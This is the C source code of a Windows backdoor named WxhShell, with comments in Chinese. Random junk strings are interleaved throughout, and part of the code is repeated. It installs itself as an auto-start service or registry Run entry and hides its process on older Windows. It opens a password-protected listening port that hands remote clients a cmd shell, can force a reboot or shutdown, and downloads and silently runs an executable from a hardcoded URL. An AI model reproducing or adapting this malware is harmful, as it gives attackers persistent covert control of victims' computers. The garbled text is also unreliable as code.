(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dx3 %KS NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c&*l" hk}
t:< if (!NtQueryInformationProcess) return 0; h$Tr sO [4>r6Hqxr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ea]T>4 if(!hProcess) return 0; =/9<(Tt%m @.ZL7$|d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 76u{!\Jo/{ X$V|+lTk CloseHandle(hProcess); -k{Jp/-D L\L"mc|O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J`<f if(hProcess==NULL) return 0; +"uwV1)b" <d"Gg/@a HMODULE hMod; 0`n
5x0R char procName[255]; 8=F %+ unsigned long cbNeeded; jDTUXwx7V SF< [FM%1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "PzP;Br DA=1KaJ . CloseHandle(hProcess); v`B4(P1Z jdM=SBy7q if(strstr(procName,"services")) return 1; // 以服务启动 S}cF0B1E* ?Y3@" rdR return 0; // 注册表启动 )0-o%- e } i&&qbZt 5UOk)rOf // 主模块 e$wt&^W int StartWxhshell(LPSTR lpCmdLine) Uh}X<d/V { Spgg+;9 SOCKET wsl; tjxvN 4l BOOL val=TRUE; C:GvP> int port=0; fxtxu?A> struct sockaddr_in door; o56kp3b)b w$>3pQ8d if(wscfg.ws_autoins) Install();
jBpVxv 3cC }'j port=atoi(lpCmdLine); /DO'IHC.o UX_I6_& if(port<=0) port=wscfg.ws_port; zfjw;sUX 3LW[H+k WSADATA data; >a=d; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >^3zU C[YnrI! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +'XhC#: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l^r' $;<m door.sin_family = AF_INET; Df@/cT door.sin_addr.s_addr = inet_addr("127.0.0.1"); u+2Lm*M door.sin_port = htons(port); 2EfflZL3 2Va4i7"X\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uTGcQs} closesocket(wsl); @~o`#$*| return 1; 54q3R`y } 8=Q VN_ Y6ben7j%- if(listen(wsl,2) == INVALID_SOCKET) { cy1jZ1) closesocket(wsl); doD>m?rig3 return 1; ><Uk*mwL } T"!EK& Wxhshell(wsl); /s[DI;M$o WSACleanup(); 'ere!:GJD )N7n,_#T> return 0; l~1AT% KzVTkDn, } yr{B5z, bx>i6
R2 // 以NT服务方式启动 J#7y<
s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @!\K>G >9[ { -0 0}if7 DWORD status = 0; Bq!cY Wj DWORD specificError = 0xfffffff; s'L?;:)dyB a+?~;.i~ serviceStatus.dwServiceType = SERVICE_WIN32;
Oh`2tc- serviceStatus.dwCurrentState = SERVICE_START_PENDING; (X}@^]lpa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1q]c7" serviceStatus.dwWin32ExitCode = 0; AuCWQ~ serviceStatus.dwServiceSpecificExitCode = 0; FT/amCRyT serviceStatus.dwCheckPoint = 0;
}B ff,q serviceStatus.dwWaitHint = 0; U8O(;+ zj%cQkZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]W)
jmw'mo if (hServiceStatusHandle==0) return; \+Y!ILOI GDPo`#~ status = GetLastError(); FFe)e>bH if (status!=NO_ERROR) SLoo:) { rAXX}"l6s serviceStatus.dwCurrentState = SERVICE_STOPPED; DJP6TFT&G serviceStatus.dwCheckPoint = 0; {$fsS&aPg serviceStatus.dwWaitHint = 0; g-@h>$<
1 serviceStatus.dwWin32ExitCode = status; Nl*i5 io serviceStatus.dwServiceSpecificExitCode = specificError; daX*}Ix SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1r571B*O return; cwynd=^nC } %EI<@Ps8c k^%_V|&W/( serviceStatus.dwCurrentState = SERVICE_RUNNING; j>'B[ serviceStatus.dwCheckPoint = 0; ZnXejpj)D serviceStatus.dwWaitHint = 0; N[k<@Q?*a if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ax@H"d& } 7co`Zw4}g d^84jf.U // 处理NT服务事件,比如:启动、停止 <k]qH-v4 VOID WINAPI NTServiceHandler(DWORD fdwControl) 8(xw?|D7 { i2`0|8mw' switch(fdwControl) >o[|"oLO {
W9R`A case SERVICE_CONTROL_STOP: o^ h(#%O serviceStatus.dwWin32ExitCode = 0; Sz0+<F#5 serviceStatus.dwCurrentState = SERVICE_STOPPED; FA$zZs10\ serviceStatus.dwCheckPoint = 0; _;e\:7<m serviceStatus.dwWaitHint = 0; D,rZ0?R { Z+idLbIs SetServiceStatus(hServiceStatusHandle, &serviceStatus); +LzovC@^ } `6Hf&u< return; 97!5Q~I case SERVICE_CONTROL_PAUSE: xl]
;*& serviceStatus.dwCurrentState = SERVICE_PAUSED; -G b-^G break; ?~F. / case SERVICE_CONTROL_CONTINUE: gyus8#s T serviceStatus.dwCurrentState = SERVICE_RUNNING; fp&Got!pB break; h~miP7,c<u case SERVICE_CONTROL_INTERROGATE: $TG?4 break; 'sU)|W(3U }; &" h]y?Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); "mZ.V } G)7)]yBL 9
5 H?{ // 标准应用程序主函数 P5URvEnz: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q_4Zb { OE"<!oIs 8wIK: // 获取操作系统版本 nl@E[yA9[ OsIsNt=GetOsVer(); xncwYOz GetModuleFileName(NULL,ExeFile,MAX_PATH); cZ<
\ B\_[R'Pf& // 从命令行安装 f a5]a if(strpbrk(lpCmdLine,"iI")) Install(); OFy,B-`A{ +1@AGJU3 // 下载执行文件 Rd! 2\| if(wscfg.ws_downexe) { b5 Q NEi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \Ph7(ik WinExec(wscfg.ws_filenam,SW_HIDE); jA`a/vWu } W_<4WG iBvOJs if(!OsIsNt) { arj$dAW // 如果时win9x,隐藏进程并且设置为注册表启动 Q}P-$X+/ n HideProc(); xzk}[3P{ StartWxhshell(lpCmdLine); z="L4 } D4Sh9:\ else uva\0q if(StartFromService()) =`p&h}h-L // 以服务方式启动 l$XA5#k
StartServiceCtrlDispatcher(DispatchTable); hC>wFC else {;k_!v{ // 普通方式启动 (cs~@ StartWxhshell(lpCmdLine); K`4GU[ul X8CVY0<o return 0; sh6(z?KP } `clB43i i6>R qP!69 A&N*F "q n,nisS =========================================== Yx1 D) RvW.@#EH0 aZgNPw ?,% TU&Yn 0Q1/ n2V 4}-#mBV]/ " wj%wp[KA$ j=j+Nf$ #include <stdio.h> yXF|Sqv #include <string.h> &r@H(}$1\ #include <windows.h> !Zs,-=^D #include <winsock2.h> SE!L : #include <winsvc.h> e1P7
.n} #include <urlmon.h> -,GEv%6c [hU=mS8=^ #pragma comment (lib, "Ws2_32.lib") B||c(ue #pragma comment (lib, "urlmon.lib") (6k>FSpg 3*WS"bt #define MAX_USER 100 // 最大客户端连接数 F]5\YYXO #define BUF_SOCK 200 // sock buffer O5;-Om #define KEY_BUFF 255 // 输入 buffer o!Fl]3F Yu3_=:
<C #define REBOOT 0 // 重启 i<iXHBs #define SHUTDOWN 1 // 关机 <SQ(~xYi 263*: Y #define DEF_PORT 5000 // 监听端口 btQet. 5Y-2
# #define REG_LEN 16 // 注册表键长度 PU+1=%'V #define SVC_LEN 80 // NT服务名长度 %F5 =n" ,so4Lb(vG // 从dll定义API %fpsc_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =pp:j`B9( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z#7U
"G-A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F^rl$#pCS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AgsR-"uh W)-hU~^OM // wxhshell配置信息 kfCKhx struct WSCFG { EUZq$@uWL int ws_port; // 监听端口 bi,mM,N/ char ws_passstr[REG_LEN]; // 口令 l* Y[^' int ws_autoins; // 安装标记, 1=yes 0=no |<Bpv{]P char ws_regname[REG_LEN]; // 注册表键名 0N VI+Z$ char ws_svcname[REG_LEN]; // 服务名 : bv|Ah char ws_svcdisp[SVC_LEN]; // 服务显示名 q6&67u0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qa?aL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uF<S int ws_downexe; // 下载执行标记, 1=yes 0=no k7T
alR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K:w]>a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (1 yGg==W. %#9P?COs&W }; wOcg4HlW )E`+BH // default Wxhshell configuration oKiD8': struct WSCFG wscfg={DEF_PORT, P)IjL&[ "xuhuanlingzhe", b~as64 1, ;[~^(.
f "Wxhshell", 'w6hW7"L "Wxhshell", UE7'B?
"WxhShell Service", w `!LFHK
"Wrsky Windows CmdShell Service", ysVi3eq "Please Input Your Password: ", w_H2gaQ 1, oCA(FQ6 "http://www.wrsky.com/wxhshell.exe", >0V0i%inmF "Wxhshell.exe" 0n5!B..m} }; w \DspF \G3!TwC% // 消息定义模块 [B,p,Q" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 `&<bt[g char *msg_ws_prompt="\n\r? for help\n\r#>"; dXO=ZU/N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KpGUq0d@ char *msg_ws_ext="\n\rExit."; ue9h char *msg_ws_end="\n\rQuit."; J)huy\>, char *msg_ws_boot="\n\rReboot..."; qUg9$oh{LI char *msg_ws_poff="\n\rShutdown..."; 8t\}c6/3" char *msg_ws_down="\n\rSave to "; Ky6+~> 6eo4#/+% char *msg_ws_err="\n\rErr!"; H:Lt$ char *msg_ws_ok="\n\rOK!"; ;^ov~PPl >13/h]3 char ExeFile[MAX_PATH]; fz8h]PZ int nUser = 0; Hf_'32e3< HANDLE handles[MAX_USER]; 0etwz3NuW
int OsIsNt; -t>Z
9 M8_ R SERVICE_STATUS serviceStatus; G"C;A`6 SERVICE_STATUS_HANDLE hServiceStatusHandle; + !xu{2 ! V4\560 // 函数声明 sDAK\#z int Install(void); k}<<bm*f int Uninstall(void); 2_N/wR#=& int DownloadFile(char *sURL, SOCKET wsh); w&C1=v -h int Boot(int flag); J7m`]!*t void HideProc(void); ?\M)WDO int GetOsVer(void); mR,O0O}& int Wxhshell(SOCKET wsl); ]|y}\7Aa void TalkWithClient(void *cs); U/5$%0) int CmdShell(SOCKET sock); K=o:V& int StartFromService(void); AZBC P int StartWxhshell(LPSTR lpCmdLine); .5z&CJDiIi i*z0Jf[" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8~qlLa>jc VOID WINAPI NTServiceHandler( DWORD fdwControl ); 19&)Yd1 %yKKUZ~ // 数据结构和表定义 _'lmCj8L SERVICE_TABLE_ENTRY DispatchTable[] = ki4Xp'IK { uAT/6@ {wscfg.ws_svcname, NTServiceMain}, `x*/UCy\ {NULL, NULL} KcnjF^k }; yF;?Hg o"4E+1qwM // 自我安装 GVZTDrC int Install(void) "?[7#d]) { -U:2H7 char svExeFile[MAX_PATH]; #@q1Ko!NZ HKEY key; 1~L\s}|2d strcpy(svExeFile,ExeFile); TR?Bvy2s:g FR(QFt!g // 如果是win9x系统,修改注册表设为自启动 a_AJ)4 if(!OsIsNt) { /]g>#J%b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S%{lJYwXt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EO"6Dq( RegCloseKey(key); FNlx1U[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yeNvQG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<a<{| RegCloseKey(key); j^{b^!4~} return 0; 01o [!n T } %VS 2M
#f } UtPwWB_YV } SlT7L||Ww else { ;tXY = hWm0$v1p // 如果是NT以上系统,安装为系统服务 $i -zMa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EFD?di)s if (schSCManager!=0) _}^u-fJ/~ { 3jS7 uU SC_HANDLE schService = CreateService $-e=tWkgv ( ~9bv Wd1D schSCManager, Zg2]GJP wscfg.ws_svcname, +dJ&tuL:S wscfg.ws_svcdisp, \ JG
#m SERVICE_ALL_ACCESS, eZA6D\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q6Rw4 SERVICE_AUTO_START, d#4 Wj0x SERVICE_ERROR_NORMAL, L@+Z)# V svExeFile, h*l
cEzG?A NULL, VH[l\I(h NULL, ys/vI/e\ NULL, C,(j$Id NULL, 2zM-Ob<U` NULL i!tc ); l*qk1H"g if (schService!=0) w~p4S+k& { X4Lsvvz%@ CloseServiceHandle(schService); yj'Cy8 CloseServiceHandle(schSCManager); `LqnEutzc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \Me"'.F? strcat(svExeFile,wscfg.ws_svcname); lqauk)(A0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8'n#O>V@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HMhLTl{; RegCloseKey(key); ss*5.(y return 0; y1nP F&_ } _E&U?>g+ } X&/(x CloseServiceHandle(schSCManager); !%X>rGkc } #U:0/4P( } b13nE. YN$`y1V return 1; G$|G w } 3eJ\aVI>pE oH=4m~'V // 自我卸载 @\+%GDv int Uninstall(void) ";o~&8?) { {rz>^ HKEY key; raSF3b/0 K[n<+e;G if(!OsIsNt) { \Ec
X!aC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X"wFQa RegDeleteValue(key,wscfg.ws_regname); V@Ax}<$A RegCloseKey(key); @kS|Jz$iY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w8O hJv RegDeleteValue(key,wscfg.ws_regname); ,=yOek} RegCloseKey(key); O0->sR return 0; "--/v. Cs } d4Ixuux<3 } C"(_mW{@ } I.UjST else { 9#ZzE/ :J<Owh@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8 qn{ if (schSCManager!=0) g~eJ
YS, { HhzkMJR8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r}Ltv?4 if (schService!=0)
nMLU-C!t { Hi$#!OU if(DeleteService(schService)!=0) { `Yg7,{A\J CloseServiceHandle(schService); \MF3CK@/ CloseServiceHandle(schSCManager); JATS6-Lz` return 0; gh.w Li$+ } Q=^ktKMeR CloseServiceHandle(schService); w 7Cne%J8 } >xklt"*U, CloseServiceHandle(schSCManager); suzFcLxo } ?56~yQF/2 } |C^
c0 tWcizj;?wK return 1; cPV5^9\T } N|bPhssFw 7sCR!0 // 从指定url下载文件 o7m99( int DownloadFile(char *sURL, SOCKET wsh) 6Wf*>G*h { 7k.d|<mRv HRESULT hr; ]6jHIk| char seps[]= "/"; /j`i/Ha1 char *token; N'htcC char *file; f34_?F<h char myURL[MAX_PATH]; 6s> sj7 char myFILE[MAX_PATH]; ~ W2:NQ>i bX a %EMF strcpy(myURL,sURL); tq2-.]Y@U token=strtok(myURL,seps); `\Uc4lRS while(token!=NULL) Iq^~ { >fW+AEt\JB file=token; JHnk%h0 token=strtok(NULL,seps); #(m`2Z`H } [lmHXf@1C vx({N? GetCurrentDirectory(MAX_PATH,myFILE); d4b 9rtM strcat(myFILE, "\\"); #9URVq, strcat(myFILE, file); 8XLxT(YFIs send(wsh,myFILE,strlen(myFILE),0); Y:DNu9 send(wsh,"...",3,0); .CIbpV?T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ORUWslMt if(hr==S_OK) F<6KaZ| return 0; #|)JD@;Q else |Ba4 G` return 1; 3?a0
+] @m*&c* r } Oex{:dO "F |!?2OTY // 系统电源模块 rD:gN%B= int Boot(int flag) } S'I
DHla { Km|9Too HANDLE hToken; 6n2Vx1b TOKEN_PRIVILEGES tkp; _C7abw- 2hjre3"? if(OsIsNt) { (OM?aW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .6lY*LI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }CB=c]p tkp.PrivilegeCount = 1; MAm1w'ol" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oO! 1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C:|q'"F if(flag==REBOOT) { j1'xp`jgv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z*??YUT\M return 0; 1puEP*P } ;oN{I@}k else { _ Yb
Eo+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #u}v7{4 return 0; .0R/'!e } Pn'QOVy } DTX/3EN else { w7=D6` if(flag==REBOOT) { y9l#;<b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[%gK^Zt return 0; 3{N p 9y. } rf1wS*uU+ else { (%ri#r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r'mnkg2, return 0; _qO;{%r } bc0)'a\ } SK2J`* F^ %{
; return 1; N\CEocU } 1j${,>4tQ O+{pF.P#V // win9x进程隐藏模块 o{S}e!Vb void HideProc(void) W<cW;mO
{ tk3<sr"IQ &vJ(P!2f< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fl5UY$a2- if ( hKernel != NULL ) YW4bm { _{2Fx[m% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D@sx`H( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wB1-|=K1 FreeLibrary(hKernel); bJG!)3cx } b]tA2~e ]ut-wqb{p return; i5>J } E7Gi6w~\ 84hi, S5P // 获取操作系统版本 >[E|p6jgT int GetOsVer(void) ei|*s+OZu { "c !oOaA OSVERSIONINFO winfo; kMJQeo79 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3[|:sa8?s GetVersionEx(&winfo); 5tgILxSK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (DELxE return 1; e GqvnNv else '5OVs:)"^ return 0; lD;,I^Lt6 } x|,aV=$o }jyS\drJ // 客户端句柄模块 xsY>{/C int Wxhshell(SOCKET wsl) dEAAm=K,< { =Nv=Q mO SOCKET wsh; +,{Wcb struct sockaddr_in client; <g/(wSl DWORD myID; Z+`{JE# 5b{yA~ty while(nUser<MAX_USER) **w*hd] { W O+?gu int nSize=sizeof(client); #<WyId( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <De3mZb if(wsh==INVALID_SOCKET) return 1; cciAMQhA @3expC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !mErt2UJl if(handles[nUser]==0) YjIED,eRv closesocket(wsh); :yO, else `1[Sv" nUser++; sJHy=z0m } wk@(CKQzI, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yTq(x4] kj<D 4) return 0; iEJQ#5))0 } wCC~tuTpr :)+@qxTy // 关闭 socket }
{gWTp void CloseIt(SOCKET wsh) oZ*=7u { ffoo^1}1 closesocket(wsh); }Nd`;d
nUser--; Q
2SSJ ExitThread(0); n[MIa]dK } jN'fm VATXsD // 客户端请求句柄 asmW
W8lz void TalkWithClient(void *cs) abJ@>7V { d'x<F[`O "e7$q&R
| SOCKET wsh=(SOCKET)cs; F)<G]i8n~ char pwd[SVC_LEN]; h2/1S{/n] char cmd[KEY_BUFF]; (-Ct!aW| char chr[1]; L9unhx int i,j; 9^
*ZH1 K^cWj_a" while (nUser < MAX_USER) { EfrkB" Pguyf2/w if(wscfg.ws_passstr) { meM.?kk( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |>/&EElD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Y\E68_Fh //ZeroMemory(pwd,KEY_BUFF); eI=Y~jy i=0; c[d'1=Qiy while(i<SVC_LEN) { sWZtbW;) nGJIjo_I // 设置超时 :86luLFm fd_set FdRead; l"pz
)$eE struct timeval TimeOut; M-qxD"VtV= FD_ZERO(&FdRead); >s 8:1l FD_SET(wsh,&FdRead); j2{,1h j TimeOut.tv_sec=8; l]klV+9t TimeOut.tv_usec=0; I;11j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D'sboOY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q3'B$,3O^ 4M<JfD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m|cWX"#g pwd=chr[0]; b\|p if(chr[0]==0xd || chr[0]==0xa) { "/K&qj pwd=0; cT=wJ break; #NQz&4W } ,w/mk$v i++; nXeK,C } gq:TUvX i>if93mpj // 如果是非法用户,关闭 socket J&U0y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8,H5G` } xP/1@6]_Je 6_&6'Vq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C7 &
6rUX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pv?17(w(\ [sY1|eX while(1) { a^}P_hg}- J0*]6oD! ZeroMemory(cmd,KEY_BUFF); Nec(^|[ g;Sg
2 // 自动支持客户端 telnet标准 )6R#k8'ERr j=0; !9<RWNKV)Y while(j<KEY_BUFF) { [?f.0q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g
/ @yK cmd[j]=chr[0]; UG?C=Tf if(chr[0]==0xa || chr[0]==0xd) { N5an9r&z(1 cmd[j]=0; (7jB_ p% break; n\ ',F } io33+/ j++; GqD!W8+ } Lvj5<4h; m<'xlF // 下载文件 |KrG3-i3X if(strstr(cmd,"http://")) { .8PO7# send(wsh,msg_ws_down,strlen(msg_ws_down),0); 't%%hw-m} if(DownloadFile(cmd,wsh)) %d#)({N send(wsh,msg_ws_err,strlen(msg_ws_err),0); $J0~2TV< else Gx* 0$4xJ3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1
GHgwT } llG#nDe else { gWv+i/, [QqNsco) switch(cmd[0]) { JO^
[@ ^Er`{|o6u // 帮助 nh&<fnh case '?': { >dm._*M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '%RK KA break; I~]mX; } MbF e1U]B // 安装 #|_UA}Y case 'i': { ~$ qJw?r
if(Install()) '>mb@m send(wsh,msg_ws_err,strlen(msg_ws_err),0); WKJL<
D ]: else }nY^T&?` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f]A6Mx6 break; `rdfROKv } WAmoKZw2 // 卸载 ?G>TaTiK# case 'r': { #bZ=R if(Uninstall()) JTB~nd> send(wsh,msg_ws_err,strlen(msg_ws_err),0); +e4<z%1 else CU`Oc>;*T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g!Yh=kA'N break; pfQZ|*>lkb } *|#JFy?c[ // 显示 wxhshell 所在路径 6F&]Mk]V8 case 'p': { K2MNaB char svExeFile[MAX_PATH]; ~_j%nJ
&2 strcpy(svExeFile,"\n\r"); 59Q Q_#> strcat(svExeFile,ExeFile); 32|L
$o send(wsh,svExeFile,strlen(svExeFile),0); o3=S<|V break; N3c)ce7[ } }=m?gF%3 // 重启 OmjT`,/ case 'b': { =yhfL2`aw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mS&\m#s< if(Boot(REBOOT)) xA'#JN<* send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,$mpJCI else { K}/`YDu closesocket(wsh); -LK(C`gB ExitThread(0); f=O>\ } g+r{>x break; L?C~
qS2g } @=#s~ 3 // 关机 kCjI`=7$[ case 'd': { C^=gZ
6m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); & O\!!1% if(Boot(SHUTDOWN)) ~(L +4] send(wsh,msg_ws_err,strlen(msg_ws_err),0); [K@!JY else { ~)IJE+e>} closesocket(wsh);
'L59\y8H ExitThread(0); "v(]"L } `/ReJj&~ break; d4h(F,K7V } )[X!/KR90 // 获取shell )bU")
case 's': { )0d".Q|v4 CmdShell(wsh); bK;aV& closesocket(wsh); IeI%X\G ExitThread(0); |A/_Qe|s2 break; |Pl{Oo+ } [Q_|6Di // 退出 /~huTKA} case 'x': { LF.~rmPa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HtYR 0J CloseIt(wsh); :p)9Heu
break; cE>/iZc } Wc;D{p?Lb // 离开 9,> Y case 'q': { #&c;RPac!6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); HFWm}vA: closesocket(wsh); &:f'{>3z WSACleanup(); WzbN=&
C]h exit(1); VD`2lGdF break; /_\W*@ E } +1fOW4!5 } Prx s2 i 8 } kR?n%`&k C\@YH] // 提示信息 sZBO_](S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}r5ohqC# } 3^yWpSC } G6mM6(Sr 2MzFSmhc" return; PH!B /D5G } <KPx0g?=b rB|:r\Z(jG // shell模块句柄 -+@~*$
d int CmdShell(SOCKET sock) ,5uDEXpt{ { 8vo7~6yy STARTUPINFO si; |RXC;zt9s ZeroMemory(&si,sizeof(si)); v$/i5kcWx si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B_jI!i{N%o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pm;*Jv% PROCESS_INFORMATION ProcessInfo; p: char cmdline[]="cmd"; F
) ~pw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b+apN ph return 0; `^k<.O } MtTHKp L>GYj6D9 // 自身启动模式 O[B_7
int StartFromService(void) <!XnUCtV { %-po6Vf typedef struct
C)}LV { g7f%(W2dd DWORD ExitStatus; D|'Z c& DWORD PebBaseAddress; xi=uXxl DWORD AffinityMask; _'dy$.g DWORD BasePriority; lS*.?4zX ULONG UniqueProcessId; m?G+#k;K ULONG InheritedFromUniqueProcessId; uxiX"0)g> } PROCESS_BASIC_INFORMATION; o;I86dI6C {j*+:Gj0V PROCNTQSIP NtQueryInformationProcess; 9gayu<J IFoN<<7/2$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oioN0EuDk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8k'em/M~ v~QZO4[' HANDLE hProcess; d}J#wT PROCESS_BASIC_INFORMATION pbi; yN%Pe:R Q 5TyS8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cNCBbOMr if(NULL == hInst ) return 0; r
T$g^ -z1o~~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9 NSYrIQ" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j'cCX[i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \9Zfu4WR w*@Z-'(j if (!NtQueryInformationProcess) return 0; Z9bPj8d PMZzzZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K%_JQ0` if(!hProcess) return 0; ,{t!->K ?IO/zkeXg if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3_-m>J**
W7>_nK+g? CloseHandle(hProcess); :Xr3 3 74wa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NO1]JpR if(hProcess==NULL) return 0; vbJMgdHFR h0}-1kVT^ HMODULE hMod; 1uzfV) char procName[255]; sM[c\Z] unsigned long cbNeeded; t2<(by! J3^Ir [ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b~echOj +Q&@2 oY" CloseHandle(hProcess); u:?RdB}B_@ X)5O@"4 ? if(strstr(procName,"services")) return 1; // 以服务启动 mz'8
